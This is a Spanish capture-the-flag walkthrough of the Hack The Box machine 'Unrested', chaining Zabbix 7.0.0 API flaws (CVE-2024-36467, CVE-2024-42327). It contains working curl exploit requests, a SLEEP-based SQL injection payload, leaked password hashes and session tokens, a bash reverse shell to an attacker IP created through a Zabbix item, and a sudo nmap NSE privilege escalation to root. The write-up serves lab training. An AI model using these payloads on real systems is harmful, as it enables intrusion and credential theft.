Unrested
Dificultad: Medium - OS: Linux
Enumeración de puertos/servicios
┌──(root㉿kali)-[/home/kali]
└─# nmap -sCV --open -p- -T4 -v -n 10.10.11.50
Resultado:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
10050/tcp open tcpwrapped
10051/tcp open ssl/zabbix-trapper?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
En síntesis:
Puerto | Estado | Servicio | Protocolo
22/tcp | open | ssh (OpenSSH 8.9p1) | TCP
80/tcp | open | http (Apache 2.4.52) | TCP
10050/tcp | open | tcpwrapped | TCP
10051/tcp | open | ssl/zabbix-trapper? | TCP
Reconocimiento de Aplicación Web
Si nos vamos al puerto 80 nos vamos a encontrar con un panel de login de Zabbix

¿Qué es Zabbix?
Zabbix es una solución de monitorización empresarial de código abierto, diseñada para supervisar el estado y el rendimiento de servidores, dispositivos de red, aplicaciones, servicios y otros recursos de TI en tiempo real
Zabbix: Plataforma de Monitoreo Abierto para Infraestructuras Críticas
En el menú de la máquina en HTB nos van a facilitar unas credenciales para poder ingresar al dashboard de Zabbix:
"Machine Information
As is common in real life pentests, you will start the Unrested box with
credentials for the following account on Zabbix: matthew / 96qzn0h2e1k3"
Una vez que tenemos acceso al dashboard vamos a ver la siguiente información clave para continuar con este pentesting

Identificación de Vulnerabilidades
Vemos que la versión de este Zabbix es la 7.0.0 y si buscamos algún CVE que afecte a esta versión nos vamos a encontrar con el siguiente.
Como bien nos indica el CVE lo primero que debemos obtener es el token de API del usuario matthew para luego poder aprovechar la falla de la función user.update
. Para obtener un token permanente y evitar problemas como 'data': 'Session terminated, re-login, please.'
la mejor opción es solicitarlo desde el frontend de la siguiente forma: User settings > API tokens > Create API token > Add (dejamos marcada la casilla "Enabled" y desmarcamos la casilla "Set expiration date and time")
Explotación de la API de Zabbix y Análisis Estático del Código Fuente


Nota: la API que vamos a usar durante todo el CTF es api_jsonrpc.php
que esta detallada en el manual de Zabbix https://www.zabbix.com/documentation/current/en/manual/api

Próximo paso obtener nuestro ID de usuario usando el token en el siguiente comando:
Request:
┌──(root㉿kali)-[/home/kali/Desktop]
└─# curl --request POST \
--url http://10.10.11.50/zabbix/api_jsonrpc.php \
--header 'Content-Type: application/json-rpc' \
--data '{
"jsonrpc": "2.0",
"method": "user.checkAuthentication",
"params": {
"token": "4c8b96eb996ed4fccb2f92a5e563bc8f9db1701d9de5b9b452599e326a465d39"
},
"id": 1
}'
Response:
{
"jsonrpc": "2.0",
"result": {
"userid": "3",
"username": "matthew",
"name": "Matthew",
"surname": "Smith",
"url": "",
"autologin": "1",
"autologout": "0",
"lang": "en_US",
"refresh": "30s",
"theme": "default",
"attempt_failed": "0",
"attempt_ip": "",
"attempt_clock": "0",
"rows_per_page": "50",
"timezone": "system",
"roleid": "1",
"userdirectoryid": "0",
"ts_provisioned": "0",
"debug_mode": 0,
"deprovisioned": false,
"gui_access": 0,
"mfaid": 0,
"auth_type": 0,
"type": 1,
"userip": "10.10.14.7"
},
"id": 1
}
A continuación podemos probar dos formas de escalar privilegios con nuestro usuario: una es cambiando el usrid:3
de matthew al usrid:¿?
de administrador y la otra es agregando a matthew al grupo de administradores con usrgrps
La primer opción no es válida porque existe una función llamada checkHimself()
que bloquea cualquier intento que un usuario haga para cambiar su roleid
. Este bloqueo aparece con el siguiente mensaje "User cannot change own role."
, sin embargo si nos permite cambiar de grupo. Antes continuar con el segundo método hay que comprender lo que hacen las siguientes funciones de Zabbix:
Si seguimos indagando en la documentación pública de Zabbix vamos a encontrar un repositorio en Github (https://github.com/zabbix/zabbix/blob/7.0.0/ui/include/classes/api/services/CUser.php#L358) con el CUser.php file y en la linea 358 se encuentra la función user.update
que hace lo siguiente:
Explotación de CVE-2024-36467 – Missing Access Control
El segundo método es añadir a nuestro usuario mattehw al grupo de administradores usando la función usrgrps
. Esta función no tiene ninguna validación y, por lo tanto, se puede usar para agregarnos a varios grupos a la vez. Siempre que el grupo no esté deshabilitado y permita el acceso a la interfaz gráfica, podemos aprovecharnos de esto para cambiar nuestro rol actual. Los IDs de los grupos administradores también están filtrados en la documentación oficial de Zabbix
Request:
curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{
"jsonrpc": "2.0",
"method": "user.update",
"params": {
"userid": "3",
"usrgrps": [
{"usrgrpid": "13"},
{"usrgrpid": "7"}
]
},
"auth": "4c8b96eb996ed4fccb2f92a5e563bc8f9db1701d9de5b9b452599e326a465d39",
"id": 1
}'
Response:
{"jsonrpc":"2.0","result":{"userids":["3"]},"id":1}
Una vez que ya nos añadimos a los grupos 7 y 13 del servidor vamos a intentar listar la información de todos los usuarios de esta forma sabremos si logramos elevar nuestros privilegios
Request:
┌──(root㉿kali)-[/home/kali]
└─# curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"output": ["userid"],
"selectUsrgrps": ["usrgrpid", "name"],
"filter": {
"alias": "matthew"
}
},
"auth": "4c8b96eb996ed4fccb2f92a5e563bc8f9db1701d9de5b9b452599e326a465d39",
"id": 1
}'
Response:
{"jsonrpc":"2.0","result":[{"userid":"1","usrgrps":
[{"usrgrpid":"7","name":"Zabbix administrators"},
{"usrgrpid":"13","name":"Internal"}]},{"userid":"2","usrgrps":
[{"usrgrpid":"13","name":"Internal"}]},{"userid":"3","usrgrps":
[{"usrgrpid":"7","name":"Zabbix administrators"},
{"usrgrpid":"13","name":"Internal"}]}],"id":1}
Hasta aquí la primera etapa que está relacionada con el CVE-2024-3646, ahora vamos a continuar con la segunda etapa que corresponde al CVE-2024-42327:
Explotación de CVE-2024-42327 – Inyección SQL
Este CVE describe una vulnerabilidad de inyección SQL en Zabbix (específicamente en la función user.get
del backend PHP). El problema está en que, bajo ciertas condiciones, un usuario sin privilegios suficientes puede manipular directamente una consulta SQL si se establece la opción selectRole
. Primero analicemos las siguientes líneas del código fuente de la clase CUser para comprender mejor porqué existe esta vulnerabilidad (Zabbix CUser.php):
Con este análisis ahora vamos a poner en práctica un ataque que se clasifica como Time-based and Blind Boolean-based SQL injections:
Primero vamos a testear esta vuln con la siguiente request:
┌──(root㉿kali)-[/home/kali/Documents/HTB/UNRESTED]
└─# time curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json' \
--data '{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"output": ["userid", "username"],
"selectRole": [
"roleid",
"name AND (SELECT 1 FROM (SELECT SLEEP(5))A)"
],
"editable": 1
},
"auth": "4c8b96eb996ed4fccb2f92a5e563bc8f9db1701d9de5b9b452599e326a465d39",
"id": 1
}'
Response:
{"jsonrpc":"2.0","result":[{"userid":"3","username":"matthew",
"role":{"roleid":"1","r.name AND (SELECT 1 FROM (SELECT SLEEP(5))A)":"0"}}],"id":1}
real 5.48s
user 0.01s
sys 0.00s
cpu 0%
Esto ya nos confirma que la vulnerabilidad Time-based and Blind Boolean-based SQL injections si funciona. El siguiente paso es aprovechar esta vuln para extraer el token del usuario administrador. Como este procedimiento lleva mucho tiempo si lo hacemos de forma manual, lo que vamos a usar es este script que ya automatiza el ataque y se encarga de extraer el token del admin:
Link al repo CVE-2024-42327_Zabbix_SQLI
Nota: para que el script funcione debemos reemplazar el usrid
por editable
dentro del codigo
Original:

Editado:

Ahora sí podemos extraer el token del admin (cuyo usrid es el 1)
┌──(root㉿kali)-[/home/kali/Documents/HTB/UNRESTED]
└─# python3 CVE-2024-42327_Zabbix_SQLI.py -u http://10.10.11.50/zabbix/ -U matthew -P 96qzn0h2e1k3
[*] - Using http://10.10.11.50/zabbix/api_jsonrpc.php for API.
[*] - Authenticating with username: "matthew" and password "96qzn0h2e1k3"
[+] - Authentication Success!
[*] - Getting user details
{'userid': '1', 'username': 'Admin', 'role': {'type': '3', 'roleid': '3', 'name': 'Super admin role', 'readonly': '1'}}
{'userid': '2', 'username': 'guest', 'role': {'type': '1', 'roleid': '4', 'name': 'Guest role', 'readonly': '0'}}
{'userid': '3', 'username': 'matthew', 'role': {'type': '1', 'roleid': '1', 'name': 'User role', 'readonly': '0'}}
[*] - Using SQL Injection to leak user credentials
userid: 1, username: Admin, password: $2y$10$L8UqvYPqu6d7c8NeChnxWe1.w6ycyBERr8UgeUYh.3AO7ps3zer2a, roleid: 3
userid: 2, username: guest, password: $2y$10$89otZrRNmde97rIyzclecuk6LwKAsHN0BcvoOKGjbT.BwMBfm7G06, roleid: 4
userid: 3, username: matthew, password: $2y$10$e2IsM6YkVvyLX43W5CVhxeA46ChWOUNRzSdIyVzKhRTK00eGq4SwS, roleid: 1
[*] - Leaking Session Tokens for API use
userid: 1, sessionid: f2391f997ce3b2cea887f565fbe172cd
userid: 3, sessionid: cbb66cd57e0d0e9895c438066f66a505
Obtención de RCE vía API con sesión de Admin
Con el token del administrador vamos a poder realizar consultas al servidor y extraer la información necesaria para crear nuestra reverse shell:
Request:
┌──(root㉿kali)-[/home/kali/Documents/HTB/UNRESTED]
└─# curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{
"jsonrpc": "2.0",
"method": "host.get",
"params": {
"output": ["hostid", "host"],
"selectInterfaces": ["interfaceid"]
},
"auth": "f2391f997ce3b2cea887f565fbe172cd",
"id": 1
}'
Response:
{"jsonrpc":"2.0","result":[{"hostid":"10084","host":"Zabbix server",
"interfaces":[{"interfaceid":"1"}]}],"id":1}
El ID del host y de la interfaz nos va a permitir indicarle al servidor donde crear el objeto que contendrá la reverse shell. Ahora para crear ese objeto vamos a usar el siguiente comando
Request:
┌──(root㉿kali)-[/home/kali/Documents/HTB/UNRESTED]
└─# curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{
"jsonrpc": "2.0",
"method": "item.create",
"params": {
"name": "rce",
"key_": "system.run[bash -c '\''bash -i >& /dev/tcp/10.10.14.7/4448 0>&1'\'']",
"delay": 1,
"hostid": "10084",
"type": 0,
"value_type": 1,
"interfaceid": "1"
},
"auth": "f2391f997ce3b2cea887f565fbe172cd",
"id": 1
}'
Response: (Significa que el ítem fue creado correctamente y su ID es 47184
.)
{"jsonrpc":"2.0","result":{"itemids":["47184"]},"id":1}
Al mismo tiempo que creamos el objeto que contiene nuestra reverse shell, vamos a levantar un listener con netcat que reciba la conexión entrante. Para la escalada de privilegios vamos a usar Nmap con scripts NSE (Nmap Scripting Engine) siguiendo estos pasos:
Verificamos permisos con
sudo -l
y vamos a ver quezabbix
puede ejecutar/usr/bin/nmap
como root sin necesidad de contraseña y con cualquier parámetro.Inspeccionamos el binario
/usr/bin/nmap
y vemos que no es el binario real, sino un wrapper Bash que intenta limitar funcionalidades peligrosas del Nmap.Vemos que aunque
--script
está bloqueado, el wrapper no restringe el uso de-sC
(equivalente a--script=default
) ni de--datadir
, que permite indicar desde dónde cargar los scripts NSE.Entonces, aprovechamos esto para crear un archivo malicioso en
/tmp/nse_main.lua
con el siguiente contenido →echo 'os.execute("/bin/bash -p")' > /tmp/nse_main.lua
Por ultimo debemos ejecutar nmap con sudo para cargar el script malicioso. El parámetro
-sC
carga scripts por defecto, y al redirigir--datadir=/tmp
, se fuerza a Nmap a leer los scripts desde/tmp
, donde está el archivo malicioso.Nmap lo ejecuta como root, y al correr
os.execute("/bin/bash -p")
, se invoca una shell con privilegios.
Escalada de Privilegios – Abuso de Sudo y Nmap
┌──(root㉿kali)-[/home/kali/Documents/HTB/UNRESTED]
└─# nc -lvvp 4448
listening on [any] 4448 ...
10.10.11.50: inverse host lookup failed: Unknown host
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.50] 58282
bash: cannot set terminal process group (2909): Inappropriate ioctl for device
bash: no job control in this shell
zabbix@unrested:/$ whoami
whoami
zabbix
zabbix@unrested:/$ id
id
uid=114(zabbix) gid=121(zabbix) groups=121(zabbix)
zabbix@unrested:/$ sudo -l
sudo -l
Matching Defaults entries for zabbix on unrested:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User zabbix may run the following commands on unrested:
(ALL : ALL) NOPASSWD: /usr/bin/nmap *
zabbix@unrested:/$ cat /usr/bin/nmap
cat /usr/bin/nmap
#!/bin/bash
#################################
## Restrictive nmap for Zabbix ##
#################################
# List of restricted options and corresponding error messages
declare -A RESTRICTED_OPTIONS=(
["--interactive"]="Interactive mode is disabled for security reasons."
["--script"]="Script mode is disabled for security reasons."
["-oG"]="Scan outputs in Greppable format are disabled for security reasons."
["-iL"]="File input mode is disabled for security reasons."
)
# Check if any restricted options are used
for option in "${!RESTRICTED_OPTIONS[@]}"; do
if [[ "$*" == *"$option"* ]]; then
echo "${RESTRICTED_OPTIONS[$option]}"
exit 1
fi
done
# Execute the original nmap binary with the provided arguments
exec /usr/bin/nmap.original "$@"
zabbix@unrested:/$ cd /tmp
cd /tmp
zabbix@unrested:/tmp$ echo 'os.execute("/bin/bash -p")' > nse_main.lua
echo 'os.execute("/bin/bash -p")' > nse_main.lua
zabbix@unrested:/tmp$ sudo /usr/bin/nmap -sC --datadir=/tmp
sudo /usr/bin/nmap -sC --datadir=/tmp
Starting Nmap 7.80 ( https://nmap.org ) at 2025-04-22 06:20 UTC
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
a0693***************************
cat /home/matthew/user.txt
fbdfe***************************
Last updated